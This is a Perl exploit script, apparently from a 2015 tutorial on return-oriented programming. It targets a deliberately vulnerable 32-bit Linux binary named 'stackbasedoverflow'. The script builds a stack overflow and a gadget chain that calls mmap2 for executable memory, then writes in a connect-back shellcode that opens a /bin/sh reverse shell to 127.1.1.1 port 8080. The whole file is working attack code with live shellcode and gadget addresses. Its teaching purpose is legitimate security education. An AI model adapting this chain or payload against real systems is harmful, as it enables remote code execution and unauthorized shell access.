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rop_chain_2.pl
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rop_chain_2.pl
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#!/usr/bin/perl
#####################################################################
############ Date: September 18 2015
############ Author: Vincent Dary
############ File: rop_chain_2.pl
############
############ Architecture: Intel x86
############ Plateform: GNU/Linux 32 bits
############
############ Description:
############ Exploit Writing Tutorial: ROP with Shellcode.
############ ROP CHAIN 2 memory allocator + shellcode loader
############ based on mmap2 syscall 0xc0.
#####################################################################
use strict;
use warnings;
my $binary_name = "stackbasedoverflow";
my $padding_overflow = 524;
my $buffer = "";
my $ffffffff = "\xff\xff\xff\xff";
# @data section
my $data_section_addr = "\x40\xc5\x0e\x08"; # 0x080ec540
# connect-back shellcode
# to 127.01.01.01 port 8080
my @shellcode = ("\x31\xc0\xb0\xa4", "\x31\xdb\x31\xc9", "\x31\xd2\xcd\x80", "\x6a\x66\x58\x31",
"\xdb\x43\x99\x52", "\x6a\x01\x6a\x02", "\x89\xe1\xcd\x80", "\x96\x6a\x66\x58",
"\x43\x68\x7f\x01", "\x01\x01\x66\x68", "\x1f\x90\x66\x53", "\x89\xe1\x6a\x10",
"\x51\x56\x89\xe1", "\x43\xcd\x80\x87", "\xf3\x6a\x02\x59", "\xb0\x3f\xcd\x80",
"\x49\x79\xf9\xb0", "\x0b\x52\x68\x2f", "\x2f\x73\x68\x68", "\x2f\x62\x69\x6e",
"\x89\xe3\x52\x89", "\xe2\x53\x89\xe1", "\xcd\x80\x90\x90");
# gadgets
my $pop_ebx = "\xa9\x81\x04\x08"; # 0x080481a9 : pop ebx ; ret
my $pop_ecx = "\xdf\xb9\x0d\x08"; # 0x080db9df : pop ecx ; ret
my $pop_edx = "\x4a\xed\x06\x08"; # 0x0806ed4a : pop edx ; ret
my $pop_edi = "\x80\x84\x04\x08"; # 0x08048480 : pop edi ; ret
my $pop_ebp = "\xe6\x83\x04\x08"; # 0x080483e6 : pop ebp ; ret
my $pop_eax = "\x26\x95\x0b\x08"; # 0x080b9526 : pop eax ; ret
my $inc_ebx = "\x3d\x8b\x0d\x08"; # 0x080d8b3d : inc ebx ; ret
my $inc_edx = "\xf7\xc9\x05\x08"; # 0x0805c9f7 : inc edx ; ret
my $inc_ebp = "\x9c\xc0\x06\x08"; # 0x0806c09c : inc ebp ; ret
my $inc_ecx = "\xad\x88\x0d\x08"; # 0x080d88ad : inc ecx ; ret
my $dec_eax = "\x93\x37\x06\x08"; # 0x08063793 : dec eax ; ret
my $mov_esi_edx = "\x5f\xc0\x05\x08"; # 0x0805c05f : mov esi, edx ; ret
my $sub_eax_edx = "\x9c\x42\x05\x08"; # 0x0805429c : sub eax, edx ; ret
my $add_eax_ecx = "\xf0\x81\x06\x08"; # 0x080681f0 : add eax, ecx ; ret
my $int_80 = "\x90\xf4\x06\x08"; # 0x0806f490 : int 0x80 ; ret
my $mov_aedx_eax = "\x6b\x42\x05\x08"; # 0x0805426b : mov dword ptr [edx], eax ; ret
my $mov_aeax4_edx = "\x42\x31\x05\x08"; # 0x08053142 : mov dword ptr [eax + 4], edx ; ret
my $sub_ecx_edx__not_eax__and_eax_ecx = "\xa2\xc5\x09\x08"; # 0x0809c5a2 : sub ecx, edx ; not eax ; and eax, ecx ; ret
my $sub_edx_eax__mov_eax_edx__sar_eax_0x10 = "\xe3\xc5\x09\x08"; # 0x0809c5e3 : sub edx, eax ; mov eax, edx ; sar eax, 0x10 ; ret
# gadget use for debug
my $nop = "\x0f\x2f\x05\x08"; # 0x08052f0f : nop ; ret
# set the stack padding overflow
$buffer = 'A' x $padding_overflow;
#********************
# memory allocator
#********************
# mmap(0, sizeof(shellcode), prot_exec | prot_write, map_anonymous | map_private, -1, 0);
# arg1 : unsigned long addr = 0
$buffer .= $pop_ebx; # ebx = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $inc_ebx; # ebx = 0x00000000
# arg2 : unsigned long len = sizeof(shellcode)
$buffer .= $pop_ecx; # ecx = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $pop_edx; # edx = 0xffffff9f
$buffer .= "\x9f\xff\xff\xff";
$buffer .= $sub_ecx_edx__not_eax__and_eax_ecx; # ecx = 0x00000060
# arg4 : unsigned long flags = MAP_ANONYMOUS|MAP_PRIVATE
$buffer .= $pop_eax; # eax = 0xffffffdd
$buffer .= "\xdd\xff\xff\xff";
$buffer .= $pop_edx; # edx = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $sub_edx_eax__mov_eax_edx__sar_eax_0x10; # edx = 0x00000022
$buffer .= $mov_esi_edx;
# arg5 : unsigned long fd = -1
$buffer .= $pop_edi; # edi = 0xffffffff
$buffer .= $ffffffff;
# arg6 : unsigned long offset = 0
$buffer .= $pop_ebp; # esi = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $inc_ebp; # esi = 0x00000000
# set the syscall number in eax
$buffer .= $pop_eax; # eax = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $pop_edx; # edx = 0xffffff3f
$buffer .= "\x3f\xff\xff\xff";
$buffer .= $sub_eax_edx; # eax = 0x000000c0
# arg3 : unsigned long prot = PROT_EXEC|PROT_WRITE
$buffer .= $pop_edx; # edx = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $inc_edx x 7; # edx = 0x00000006
# perform the mmap2 syscall
$buffer .= $int_80; # eax = @new_executable_memory
#********************
# shellcode loader
#********************
# save @new_executable_memory on @data
$buffer .= $pop_edx; # edx = @data
$buffer .= $data_section_addr;
$buffer .= $mov_aedx_eax; # [@data] = @new_executable_memory
$buffer .= $pop_ecx; # ecx = 0xffffffff
$buffer .= $ffffffff;
$buffer .= $inc_ecx x 5; # ecx = 0x00000004
$buffer .= $dec_eax x 4; # eax = @new_executable_memory - 4
$buffer .= $pop_edx; # edx = "\x31\xc0\xb0\xa4"
$buffer .= $shellcode[0];
$buffer .= $mov_aeax4_edx; # [@new_executable_memory] = "\x31\xc0\xb0\xa4"
for (my $i = 1; $i < 23; $i++)
{
$buffer .= $add_eax_ecx; # eax = @new_executable_memory + 4 + (4 x $i)
$buffer .= $pop_edx; # edx = $shellcode[$i]
$buffer .= $shellcode[$i];
$buffer .= $mov_aeax4_edx; # [@new_executable_memory + $i] = $shellcode[$i]
}
# debug point
$buffer .= $nop;
print $buffer;